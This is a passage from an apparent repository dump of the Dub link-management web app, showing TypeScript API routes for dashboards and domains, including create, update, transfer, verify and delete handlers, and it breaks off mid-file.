\"M\",\n          }),\n          plainUsageSection({\n            usage: domains,\n            usageLimit: domainsLimit,\n            label: \"Total Domains\",\n            color: \"BLUE\",\n          }),\n          uiComponent.spacer({\n            size: \"M\",\n          }),\n          plainUsageSection({\n            usage: users,\n            usageLimit: usersLimit,\n            label: \"Total Users\",\n            color: \"GREY\",\n          }),\n        ],\n      },\n    ],\n  });\n}\n"
  },
  {
    "path": "apps/web/app/api/callback/stripe/route.ts",
    "content": "export * from \"../../../(ee)/api/stripe/webhook/route\";\n"
  },
  {
    "path": "apps/web/app/api/dashboards/[id]/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport {\n  dashboardSchema,\n  updateDashboardBodySchema,\n} from \"@/lib/zod/schemas/dashboard\";\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\n\nconst getDashboardOrThrow = async ({\n  id,\n  workspaceId,\n}: {\n  id: string;\n  workspaceId: string;\n}) => {\n  const dashboard = await prisma.dashboard.findUnique({\n    where: { id, projectId: workspaceId },\n  });\n\n  if (!dashboard) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: \"Dashboard not found\",\n    });\n  }\n\n  return dashboard;\n};\n\n// PATCH /api/dashboards/[id] – update a dashboard\nexport const PATCH = withWorkspace(\n  async ({ params, workspace, req }) => {\n    const { id } = params;\n    await getDashboardOrThrow({ id, workspaceId: workspace.id });\n\n    const body = await req.json();\n    const data = updateDashboardBodySchema.parse(body);\n\n    const dashboard = await prisma.dashboard.update({\n      where: {\n        id,\n      },\n      data,\n    });\n\n    return NextResponse.json(dashboardSchema.parse(dashboard));\n  },\n  {\n    requiredPermissions: [\"links.write\"],\n  },\n);\n\n// DELETE /api/dashboards/[id] – delete a dashboard\nexport const DELETE = withWorkspace(\n  async ({ params, workspace }) => {\n    const { id } = params;\n    await getDashboardOrThrow({ id, workspaceId: workspace.id });\n\n    const dashboard = await prisma.dashboard.delete({\n      where: {\n        id,\n        projectId: workspace.id,\n      },\n    });\n\n    // for backwards compatibility, we'll update the link to have publicStats = false\n    if (dashboard.linkId) {\n      waitUntil(\n        prisma.link.update({\n          where: { id: dashboard.linkId },\n          data: { publicStats: false },\n        }),\n      );\n    }\n\n    return NextResponse.json({ id });\n  },\n  {\n    requiredPermissions: [\"links.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/dashboards/route.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { getLinkOrThrow } from \"@/lib/api/links/get-link-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { verifyFolderAccess } from \"@/lib/folder/permissions\";\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport {\n  createDashboardQuerySchema,\n  dashboardSchema,\n} from \"@/lib/zod/schemas/dashboard\";\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// GET /api/dashboards – get all dashboards\nexport const GET = withWorkspace(\n  async ({ workspace }) => {\n    const dashboards = await prisma.dashboard.findMany({\n      where: { projectId: workspace.id },\n    });\n\n    return NextResponse.json(z.array(dashboardSchema).parse(dashboards));\n  },\n  {\n    requiredPermissions: [\"links.read\"],\n  },\n);\n\n// POST /api/dashboards – create a new dashboard\nexport const POST = withWorkspace(\n  async ({ searchParams, workspace, session }) => {\n    const params = createDashboardQuerySchema.parse(searchParams);\n\n    const { canTrackConversions } = getPlanCapabilities(workspace.plan);\n\n    if (\"key\" in params) {\n      const { domain, key } = params;\n      const link = await getLinkOrThrow({\n        workspaceId: workspace.id,\n        domain,\n        key,\n      });\n\n      if (link.folderId) {\n        await verifyFolderAccess({\n          workspace,\n          userId: session.user.id,\n          folderId: link.folderId,\n          requiredPermission: \"folders.links.write\",\n        });\n      }\n\n      const dashboard = await prisma.dashboard.create({\n        data: {\n          id: createId({ prefix: \"dash_\" }),\n          linkId: link.id,\n          projectId: workspace.id,\n          userId: link.userId,\n          showConversions: canTrackConversions,\n        },\n      });\n\n      // for backwards compatibility, we'll update the link to have publicStats = true\n      waitUntil(\n        prisma.link.update({\n          where: { id: link.id },\n          data: { publicStats: true },\n        }),\n      );\n\n      return NextResponse.json(dashboardSchema.parse(dashboard));\n    } else {\n      const { folderId } = params;\n\n      await verifyFolderAccess({\n        workspace,\n        userId: session.user.id,\n        folderId: folderId,\n        requiredPermission: \"folders.links.write\",\n      });\n\n      const dashboard = await prisma.dashboard.create({\n        data: {\n          id: createId({ prefix: \"dash_\" }),\n          folderId,\n          projectId: workspace.id,\n          userId: session.user.id,\n          showConversions: canTrackConversions,\n        },\n      });\n\n      waitUntil(\n        prisma.link.updateMany({\n          where: { folderId },\n          data: { publicStats: true },\n        }),\n      );\n\n      return NextResponse.json(dashboardSchema.parse(dashboard));\n    }\n  },\n  {\n    requiredPermissions: [\"links.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/docs/guides/[guide]/route.ts",
    "content": "import { withSession } from \"@/lib/auth\";\nimport { getIntegrationGuideMarkdown } from \"@/lib/get-integration-guide-markdown\";\n\n// GET /api/docs/guides/[guide] - get doc guide markdown\nexport const GET = withSession(async ({ params }) => {\n  const { guide } = params;\n\n  const markdown = await getIntegrationGuideMarkdown(guide);\n\n  return new Response(markdown);\n});\n"
  },
  {
    "path": "apps/web/app/api/domains/[domain]/primary/route.ts",
    "content": "import { getDomainOrThrow } from \"@/lib/api/domains/get-domain-or-throw\";\nimport { transformDomain } from \"@/lib/api/domains/transform-domain\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// POST /api/domains/[domain]/primary – set a domain as primary\nexport const POST = withWorkspace(\n  async ({ headers, workspace, params }) => {\n    const { slug: domain } = await getDomainOrThrow({\n      workspace,\n      domain: params.domain,\n      dubDomainChecks: true,\n    });\n\n    const [domainRecord] = await Promise.all([\n      prisma.domain.update({\n        where: {\n          slug: domain,\n        },\n        data: {\n          primary: true,\n        },\n        include: {\n          registeredDomain: true,\n        },\n      }),\n\n      // Set all other domains as not primary\n      prisma.domain.updateMany({\n        where: {\n          projectId: workspace.id,\n          primary: true,\n          slug: {\n            not: domain,\n          },\n        },\n        data: {\n          primary: false,\n        },\n      }),\n    ]);\n\n    return NextResponse.json(transformDomain(domainRecord), { headers });\n  },\n  {\n    requiredPermissions: [\"domains.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/domains/[domain]/route.ts",
    "content": "import { addDomainToVercel } from \"@/lib/api/domains/add-domain-vercel\";\nimport { getDomainOrThrow } from \"@/lib/api/domains/get-domain-or-throw\";\nimport { markDomainAsDeleted } from \"@/lib/api/domains/mark-domain-deleted\";\nimport { queueDomainUpdate } from \"@/lib/api/domains/queue-domain-update\";\nimport { removeDomainFromVercel } from \"@/lib/api/domains/remove-domain-vercel\";\nimport { transformDomain } from \"@/lib/api/domains/transform-domain\";\nimport { validateDomain } from \"@/lib/api/domains/utils\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { isNonEmptyJson } from \"@/lib/api/utils/is-non-empty-json\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { setRenewOption } from \"@/lib/dynadot/set-renew-option\";\nimport { storage } from \"@/lib/storage\";\nimport { updateDomainBodySchema } from \"@/lib/zod/schemas/domains\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { combineWords, nanoid, R2_URL } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\nconst updateDomainBodySchemaExtended = updateDomainBodySchema.extend({\n  deepviewData: z.string().nullish(),\n  autoRenew: z.boolean().nullish(),\n});\n\n// GET /api/domains/[domain] – get a workspace's domain\nexport const GET = withWorkspace(\n  async ({ workspace, params }) => {\n    const domainRecord = await getDomainOrThrow({\n      workspace,\n      domain: params.domain,\n      dubDomainChecks: true,\n    });\n\n    return NextResponse.json(transformDomain(domainRecord));\n  },\n  {\n    requiredPermissions: [\"domains.read\"],\n  },\n);\n\n// PUT /api/domains/[domain] – edit a workspace's domain\nexport const PATCH = withWorkspace(\n  async ({ req, workspace, params }) => {\n    const {\n      id: domainId,\n      slug: domain,\n      registeredDomain,\n      logo: oldLogo,\n      partnerProgram,\n    } = await getDomainOrThrow({\n      workspace,\n      domain: params.domain,\n      dubDomainChecks: true,\n    });\n\n    const {\n      slug: newDomain,\n      placeholder,\n      expiredUrl,\n      notFoundUrl,\n      logo,\n      archived,\n      assetLinks,\n      appleAppSiteAssociation,\n      deepviewData,\n      autoRenew,\n    } = await updateDomainBodySchemaExtended.parseAsync(\n      await parseRequestBody(req),\n    );\n\n    if (workspace.plan === \"free\") {\n      if (\n        logo ||\n        expiredUrl ||\n        notFoundUrl ||\n        assetLinks ||\n        appleAppSiteAssociation ||\n        isNonEmptyJson(deepviewData)\n      ) {\n        const proFeaturesString = combineWords(\n          [\n            logo && \"custom QR code logos\",\n            expiredUrl && \"default expiration URLs\",\n            notFoundUrl && \"not found URLs\",\n            assetLinks && \"Asset Links\",\n            appleAppSiteAssociation && \"Apple App Site Association\",\n            isNonEmptyJson(deepviewData) && \"Deep View\",\n          ].filter(Boolean) as string[],\n        );\n\n        throw new DubApiError({\n          code: \"forbidden\",\n          message: `You can only set ${proFeaturesString} on a Pro plan and above. Upgrade to Pro to use these features.`,\n        });\n      }\n    }\n\n    const domainUpdated =\n      newDomain && newDomain.toLowerCase() !== domain.toLowerCase();\n\n    if (domainUpdated) {\n      if (registeredDomain) {\n        throw new DubApiError({\n          code: \"forbidden\",\n          message: \"You cannot update a Dub-provisioned domain.\",\n        });\n      }\n\n      const validDomain = await validateDomain(newDomain);\n      if (validDomain.error && validDomain.code) {\n        throw new DubApiError({\n          code: validDomain.code,\n          message: validDomain.error,\n        });\n      }\n\n      const vercelResponse = await addDomainToVercel(newDomain);\n      if (vercelResponse.error) {\n        throw new DubApiError({\n          code: \"unprocessable_entity\",\n          message: vercelResponse.error.message,\n        });\n      }\n    }\n\n    const logoUploaded = logo\n      ? await storage.upload({\n          key: `domains/${domainId}/logo_${nanoid(7)}`,\n          body: logo,\n        })\n      : null;\n\n    // If logo is null, we want to delete the logo (explicitly set in the request body to null or \"\")\n    const deleteLogo = logo === null && oldLogo;\n\n    const domainRecord = await prisma.domain.update({\n      where: {\n        slug: domain,\n      },\n      data: {\n        ...(domainUpdated && { slug: newDomain }),\n        archived,\n        placeholder,\n        expiredUrl,\n        notFoundUrl,\n        logo: deleteLogo ? null : logoUploaded?.url || oldLogo,\n        ...(assetLinks !== undefined && {\n          assetLinks: assetLinks ? JSON.parse(assetLinks) : Prisma.DbNull,\n        }),\n        ...(appleAppSiteAssociation !== undefined && {\n          appleAppSiteAssociation: appleAppSiteAssociation\n            ? JSON.parse(appleAppSiteAssociation)\n            : Prisma.DbNull,\n        }),\n        ...(deepviewData !== undefined && {\n          deepviewData: deepviewData ? JSON.parse(deepviewData) : Prisma.DbNull,\n        }),\n      },\n      include: {\n        registeredDomain: true,\n      },\n    });\n\n    // Sync the autoRenew setting with the registered domain\n    if (registeredDomain && autoRenew !== undefined) {\n      const { autoRenewalDisabledAt } = registeredDomain;\n\n      const shouldUpdate =\n        (autoRenew === false && autoRenewalDisabledAt === null) ||\n        (autoRenew === true && autoRenewalDisabledAt !== null);\n\n      if (shouldUpdate) {\n        await prisma.registeredDomain.update({\n          where: {\n            domainId: domainId,\n          },\n          data: {\n            autoRenewalDisabledAt: autoRenew ? null : new Date(),\n          },\n        });\n\n        // only set the autoRenew option on Dynadot if it's been explicitly disabled\n        if (autoRenew === false) {\n          waitUntil(\n            setRenewOption({\n              domain,\n              autoRenew,\n            }),\n          );\n        }\n      }\n    }\n\n    waitUntil(\n      (async () => {\n        // remove old logo\n        if (oldLogo && (logo === null || logoUploaded)) {\n          await storage.delete({ key: oldLogo.replace(`${R2_URL}/`, \"\") });\n        }\n\n        if (domainUpdated) {\n          await Promise.all([\n            // remove old domain from Vercel\n            removeDomainFromVercel(domain),\n\n            // trigger the queue to rename the redis keys and update the links in Tinybird\n            queueDomainUpdate({\n              oldDomain: domain,\n              newDomain: newDomain,\n              ...(partnerProgram && { programId: partnerProgram.id }),\n            }),\n\n            ...(partnerProgram\n              ? [\n                  prisma.program.update({\n                    where: {\n                      id: partnerProgram.id,\n                    },\n                    data: {\n                      domain,\n                    },\n                  }),\n                  prisma.partnerGroupDefaultLink.updateMany({\n                    where: {\n                      programId: partnerProgram.id,\n                    },\n                    data: {\n                      domain,\n                    },\n                  }),\n                ]\n              : []),\n          ]);\n        }\n      })(),\n    );\n\n    return NextResponse.json(transformDomain(domainRecord));\n  },\n  {\n    requiredPermissions: [\"domains.write\"],\n  },\n);\n\n// DELETE /api/domains/[domain] - delete a workspace's domain\nexport const DELETE = withWorkspace(\n  async ({ params, workspace }) => {\n    const {\n      slug: domain,\n      registeredDomain,\n      partnerProgram,\n    } = await getDomainOrThrow({\n      workspace,\n      domain: params.domain,\n      dubDomainChecks: true,\n    });\n\n    if (registeredDomain) {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message: \"You cannot delete a Dub-provisioned domain.\",\n      });\n    }\n\n    if (partnerProgram) {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message:\n          \"You cannot delete a domain that is actively in use in a partner program.\",\n      });\n    }\n\n    await markDomainAsDeleted({\n      domain,\n    });\n\n    return NextResponse.json({ slug: domain });\n  },\n  {\n    requiredPermissions: [\"domains.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/domains/[domain]/transfer/route.ts",
    "content": "import { getDomainOrThrow } from \"@/lib/api/domains/get-domain-or-throw\";\nimport { transformDomain } from \"@/lib/api/domains/transform-domain\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { qstash } from \"@/lib/cron\";\nimport { ratelimit } from \"@/lib/upstash\";\nimport { transferDomainBodySchema } from \"@/lib/zod/schemas/domains\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\n\n// POST /api/domains/[domain]/transfer – transfer a domain to another workspace\nexport const POST = withWorkspace(\n  async ({ req, headers, session, params, workspace }) => {\n    const { slug: domain, registeredDomain } = await getDomainOrThrow({\n      workspace,\n      domain: params.domain,\n      dubDomainChecks: true,\n    });\n\n    if (registeredDomain) {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message: \"You cannot transfer a Dub-provisioned domain.\",\n      });\n    }\n\n    const { newWorkspaceId } = transferDomainBodySchema.parse(await req.json());\n\n    if (newWorkspaceId === workspace.id) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"You cannot transfer a domain to the same workspace.\",\n      });\n    }\n\n    // Allow up to 5 domain transfer per workspace per hour\n    const { success } = await ratelimit(5, \"1 h\").limit(\n      `domain-transfer:${workspace.id}`,\n    );\n\n    if (!success) {\n      throw new DubApiError({\n        code: \"rate_limit_exceeded\",\n        message: \"Too many requests. Please try again later.\",\n      });\n    }\n\n    const newWorkspace = await prisma.project.findUnique({\n      where: { id: newWorkspaceId },\n      select: {\n        plan: true,\n        linksUsage: true,\n        linksLimit: true,\n        domainsLimit: true,\n        name: true,\n        users: {\n          where: {\n            userId: session.user.id,\n          },\n          select: {\n            role: true,\n          },\n        },\n        domains: {\n          select: {\n            slug: true,\n          },\n        },\n      },\n    });\n\n    if (!newWorkspace || newWorkspace.users.length === 0) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: \"New workspace not found. Make sure you have access to it.\",\n      });\n    }\n\n    if (newWorkspace.domains.length >= newWorkspace.domainsLimit) {\n      throw new DubApiError({\n        code: \"exceeded_limit\",\n        message: `Workspace ${newWorkspace.name} has reached its domain limit (${newWorkspace.domainsLimit}). You need to upgrade it to accommodate more domains.`,\n      });\n    }\n\n    if (newWorkspace.linksUsage >= newWorkspace.linksLimit) {\n      throw new DubApiError({\n        code: \"exceeded_limit\",\n        message: `Workspace ${newWorkspace.name} has reached its link limit.`,\n      });\n    }\n\n    const linksCount = await prisma.link.count({\n      where: { domain, projectId: workspace.id },\n    });\n\n    if (newWorkspace.linksUsage + linksCount > newWorkspace.linksLimit) {\n      throw new DubApiError({\n        code: \"exceeded_limit\",\n        message: `Workspace ${newWorkspace.name} doesn't have enough space to accommodate the links of the domain ${domain}.`,\n      });\n    }\n\n    // Update the domain to use the new workspace\n    const domainResponse = await prisma.domain.update({\n      where: { slug: domain, projectId: workspace.id },\n      data: {\n        projectId: newWorkspaceId,\n        primary: newWorkspace.domains.length === 0,\n      },\n      include: {\n        registeredDomain: true,\n      },\n    });\n\n    await qstash.publishJSON({\n      url: `${APP_DOMAIN_WITH_NGROK}/api/cron/domains/transfer`,\n      body: {\n        currentWorkspaceId: workspace.id,\n        newWorkspaceId,\n        domain,\n        linksCount,\n      },\n    });\n\n    return NextResponse.json(transformDomain(domainResponse), { headers });\n  },\n  {\n    requiredPermissions: [\"domains.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/domains/[domain]/validate/route.ts",
    "content": "import { isValidDomain } from \"@/lib/api/domains/is-valid-domain\";\nimport { domainExists } from \"@/lib/api/domains/utils\";\nimport { withSession } from \"@/lib/auth\";\nimport dns from \"dns/promises\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/domains/[domain]/validate – check if a domain is valid\nexport const GET = withSession(async ({ params }) => {\n  const { domain } = params;\n  const validDomain = isValidDomain(domain);\n  if (!validDomain) {\n    return NextResponse.json({\n      status: \"invalid\",\n    });\n  }\n  const exists = await domainExists(domain);\n  if (exists) {\n    return NextResponse.json({\n      status: \"conflict\",\n    });\n  }\n  const hasSite = await hasSiteConfigured(domain);\n  if (hasSite) {\n    return NextResponse.json({\n      status: \"has site\",\n    });\n  }\n  return NextResponse.json({\n    status: \"available\",\n  });\n});\n\n// Helper function to check if a site is active on the domain\nasync function hasSiteConfigured(domain: string): Promise<boolean> {\n  try {\n    // Try HTTP HEAD request first (both HTTP and HTTPS)\n    const urls = [`https://${domain}`, `http://${domain}`];\n\n    for (const url of urls) {\n      try {\n        const controller = new AbortController();\n        const timeoutId = setTimeout(() => controller.abort(), 3000); // 3 second timeout\n        const response = await fetch(url, {\n          method: \"HEAD\",\n          signal: controller.signal,\n        });\n        clearTimeout(timeoutId);\n        if (response.ok) return true;\n      } catch (e) {\n        if (e instanceof DOMException && e.name === \"AbortError\") {\n          // If request was aborted due to timeout, continue to next check\n          continue;\n        }\n        // Continue to next URL if this one fails\n        continue;\n      }\n    }\n\n    // If HTTP checks fail, fallback to DNS lookup with timeout\n    const dnsPromise = dns.resolve(domain);\n    const timeoutPromise = new Promise((_, reject) =>\n      setTimeout(() => reject(new Error(\"DNS Timeout\")), 3000),\n    );\n    try {\n      const records = (await Promise.race([\n        dnsPromise,\n        timeoutPromise,\n      ])) as string[];\n      return records.length > 0;\n    } catch (e) {\n      // If DNS times out or fails, treat as available\n      return false;\n    }\n  } catch (error) {\n    // If all checks fail, assume no site is configured\n    return false;\n  }\n}\n"
  },
  {
    "path": "apps/web/app/api/domains/[domain]/verify/route.ts",
    "content": "import { getConfigResponse } from \"@/lib/api/domains/get-config-response\";\nimport { getDomainOrThrow } from \"@/lib/api/domains/get-domain-or-throw\";\nimport { getDomainResponse } from \"@/lib/api/domains/get-domain-response\";\nimport { verifyDomain } from \"@/lib/api/domains/verify-domain\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { DomainVerificationStatusProps } from \"@/lib/types\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\nexport const maxDuration = 30;\n\n// GET /api/domains/[domain]/verify - get domain verification status\nexport const GET = withWorkspace(\n  async ({ params, workspace }) => {\n    const { slug: domain } = await getDomainOrThrow({\n      workspace,\n      domain: params.domain,\n      dubDomainChecks: true,\n    });\n\n    let status: DomainVerificationStatusProps = \"Valid Configuration\";\n\n    const [domainJson, configJson] = await Promise.all([\n      getDomainResponse(domain),\n      getConfigResponse(domain),\n    ]);\n\n    if (domainJson?.error?.code === \"not_found\") {\n      // domain not found on Vercel project\n      status = \"Domain Not Found\";\n      return NextResponse.json({\n        status,\n        response: { configJson, domainJson },\n      });\n    } else if (domainJson.error) {\n      status = \"Unknown Error\";\n      return NextResponse.json({\n        status,\n        response: { configJson, domainJson },\n      });\n    }\n\n    /**\n     * Domain has DNS conflicts\n     */\n    if (configJson?.conflicts && configJson.conflicts.length > 0) {\n      status = \"Conflicting DNS Records\";\n      return NextResponse.json({\n        status,\n        response: { configJson, domainJson },\n      });\n    }\n\n    /**\n     * If domain is not verified, we try to verify now\n     */\n    if (!domainJson.verified) {\n      status = \"Pending Verification\";\n      const verificationJson = await verifyDomain(domain);\n\n      if (verificationJson && verificationJson.verified) {\n        /**\n         * Domain was just verified\n         */\n        status = \"Valid Configuration\";\n      }\n\n      return NextResponse.json({\n        status,\n        response: { configJson, domainJson, verificationJson },\n      });\n    }\n\n    let prismaResponse: any = null;\n    if (!configJson.misconfigured) {\n      prismaResponse = await prisma.domain.update({\n        where: {\n          slug: domain,\n        },\n        data: {\n          verified: true,\n          lastChecked: new Date(),\n        },\n      });\n    } else {\n      status = \"Invalid Configuration\";\n      prismaResponse = await prisma.domain.update({\n        where: {\n          slug: domain,\n        },\n        data: {\n          verified: false,\n          lastChecked: new Date(),\n        },\n      });\n    }\n\n    return NextResponse.json({\n      status,\n      response: { configJson, domainJson, prismaResponse },\n    });\n  },\n  {\n    requiredPermissions: [\"domains.read\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/domains/client/register/route.ts",
    "content": "import { claimDotLinkDomain } from \"@/lib/api/domains/claim-dot-link-domain\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\nconst schema = z.object({\n  domain: z\n    .string()\n    .min(1)\n    .endsWith(\".link\")\n    .transform((domain) => domain.toLowerCase())\n    .describe(\"The domain to claim. We only support .link domains for now.\"),\n});\n\n// POST /api/domains/client/register - register a domain (internal use only)\nexport const POST = withWorkspace(\n  async ({ searchParams, workspace, session }) => {\n    const { domain } = schema.parse(searchParams);\n\n    const response = await claimDotLinkDomain({\n      domain,\n      workspace,\n      userId: session.user.id,\n    });\n\n    return NextResponse.json(response);\n  },\n  {\n    requiredPermissions: [\"domains.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/domains/client/saved/route.ts",
    "content": "import { withWorkspace } from \"@/lib/auth\";\nimport { redis } from \"@/lib/upstash\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\nconst schema = z.object({\n  domain: z\n    .string()\n    .min(1)\n    .endsWith(\".link\")\n    .transform((domain) => domain.toLowerCase())\n    .describe(\"We only support .link domains for now.\"),\n});\n\n// POST /api/domains/client/saved - save a domain for future registration (e.g. after onboarding)\nexport const POST = withWorkspace(\n  async ({ searchParams, workspace, session }) => {\n    const { domain } = schema.parse(searchParams);\n\n    await redis.set(\n      `onboarding-domain:${workspace.id}`,\n      { domain, userId: session.user.id },\n      {\n        ex: 60 * 60 * 24 * 15, // 15 days\n      },\n    );\n\n    return NextResponse.json({ success: true });\n  },\n  {\n    requiredPermissions: [\"domains.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/domains/count/route.ts",
    "content": "import { withWorkspace } from \"@/lib/auth\";\nimport { getDomainsCountQuerySchema } from \"@/lib/zod/schemas/domains\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/domains/count – get the number of domains for a workspace\nexport const GET = withWorkspace(\n  async ({ headers, searchParams, workspace }) => {\n    const { archived, search } = getDomainsCountQuerySchema.parse(searchParams);\n\n    const count = await prisma.domain.count({\n      where: {\n        projectId: workspace.id,\n        archived,\n        ...(search && { slug: { contains: search } }),\n      },\n    });\n\n    return NextResponse.json(count, {\n      headers,\n    });\n  },\n  {\n    requiredPermissions: [\"domains.read\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/domains/default/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { getDefaultDomainsQuerySchema } from \"@/lib/zod/schemas/domains\";\nimport { prisma } from \"@dub/prisma\";\nimport { DUB_DOMAINS_ARRAY } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// GET /api/domains/default - get default domains\nexport const GET = withWorkspace(\n  async ({ workspace, searchParams }) => {\n    const { search } = getDefaultDomainsQuerySchema.parse(searchParams);\n\n    const data = await prisma.defaultDomains.findUnique({\n      where: {\n        projectId: workspace.id,\n      },\n      select: {\n        dubsh: true,\n        dublink: true,\n        chatgpt: true,\n        sptifi: true,\n        gitnew: true,\n        callink: true,\n        amznid: true,\n        ggllink: true,\n        figpage: true,\n      },\n    });\n\n    let defaultDomains: string[] = [];\n\n    if (data) {\n      defaultDomains = Object.keys(data)\n        .filter((key) => data[key])\n        .map(\n          (domain) =>\n            DUB_DOMAINS_ARRAY.find((d) => d.replace(\".\", \"\") === domain)!,\n        )\n        .filter((domain) =>\n          search ? domain?.toLowerCase().includes(search.toLowerCase()) : true,\n        );\n    }\n\n    return NextResponse.json(defaultDomains);\n  },\n  {\n    requiredPermissions: [\"domains.read\"],\n  },\n);\n\nconst updateDefaultDomainsSchema = z.object({\n  defaultDomains: z.array(z.enum(DUB_DOMAINS_ARRAY as [string, ...string[]])),\n});\n\n// PATCH /api/domains/default - edit default domains\nexport const PATCH = withWorkspace(\n  async ({ req, workspace }) => {\n    const { defaultDomains } = await updateDefaultDomainsSchema.parseAsync(\n      await req.json(),\n    );\n\n    if (workspace.plan === \"free\" && defaultDomains.includes(\"dub.link\")) {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message:\n          \"You can only use dub.link on a Pro plan and above. Upgrade to Pro to use this domain.\",\n      });\n    }\n\n    const response = await prisma.defaultDomains.update({\n      where: {\n        projectId: workspace.id,\n      },\n      data: {\n        dubsh: defaultDomains.includes(\"dub.sh\"),\n        dublink: defaultDomains.includes(\"dub.link\"),\n        chatgpt: defaultDomains.includes(\"chatg.pt\"),\n        sptifi: defaultDomains.includes(\"spti.fi\"),\n        gitnew: defaultDomains.includes(\"git.new\"),\n        callink: defaultDomains.includes(\"cal.link\"),\n        amznid: defaultDomains.includes(\"amzn.id\"),\n        ggllink: defaultDomains.includes(\"ggl.link\"),\n        figpage: defaultDomains.includes(\"fig.page\"),\n      },\n    });\n\n    return NextResponse.json(response);\n  },\n  {\n    requiredPermissions: [\"domains.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/domains/route.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { addDomainToVercel } from \"@/lib/api/domains/add-domain-vercel\";\nimport { transformDomain } from \"@/lib/api/domains/transform-domain\";\nimport { validateDomain } from \"@/lib/api/domains/utils\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { createLink, transformLink } from \"@/lib/api/links\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { isNonEmptyJson } from \"@/lib/api/utils/is-non-empty-json\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { exceededLimitError } from \"@/lib/exceeded-limit-error\";\nimport { storage } from \"@/lib/storage\";\nimport {\n  createDomainBodySchemaExtended,\n  getDomainsQuerySchemaExtended,\n} from \"@/lib/zod/schemas/domains\";\nimport { prisma } from \"@dub/prisma\";\nimport { Link, Prisma } from \"@dub/prisma/client\";\nimport { combineWords, DEFAULT_LINK_PROPS, nanoid } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/domains – get all domains for a workspace\nexport const GET = withWorkspace(\n  async ({ workspace, searchParams }) => {\n    const {\n      search,\n      archived,\n      page = 1,\n      pageSize,\n      includeLink,\n    } = getDomainsQuerySchemaExtended.parse(searchParams);\n\n    const domains = await prisma.domain.findMany({\n      where: {\n        projectId: workspace.id,\n        archived,\n        ...(search && {\n          slug: {\n            contains: search,\n          },\n        }),\n      },\n      include: {\n        registeredDomain: true,\n      },\n      take: pageSize,\n      skip: (page - 1) * pageSize,\n    });\n\n    const links = includeLink\n      ? await prisma.link.findMany({\n          where: {\n            domain: {\n              in: domains.map((domain) => domain.slug),\n            },\n            key: {\n              in: [\"_root\", \"akoJCU0=\"],\n            },\n          },\n          include: {\n            tags: {\n              select: {\n                tag: true,\n              },\n            },\n          },\n        })\n      : [];\n\n    const linkMap = links.reduce(\n      (acc, link) => {\n        acc[link.domain] = link;\n        return acc;\n      },\n      {} as Record<string, Link>,\n    );\n\n    const response = domains.map((domain) => ({\n      ...transformDomain(domain),\n      ...(includeLink &&\n        linkMap[domain.slug] && {\n          link: transformLink({\n            ...linkMap[domain.slug],\n            tags: linkMap[domain.slug][\"tags\"].map((tag) => tag),\n          }),\n        }),\n    }));\n\n    return NextResponse.json(response);\n  },\n  {\n    requiredPermissions: [\"domains.read\"],\n  },\n);\n\n// POST /api/domains - add a domain\nexport const POST = withWorkspace(\n  async ({ req, workspace, session }) => {\n    const body = await parseRequestBody(req);\n    const {\n      slug,\n      logo,\n      expiredUrl,\n      notFoundUrl,\n      placeholder,\n      assetLinks,\n      appleAppSiteAssociation,\n      deepviewData,\n    } = await createDomainBodySchemaExtended.parseAsync(body);\n\n    if (workspace.plan === \"free\") {\n      if (\n        logo 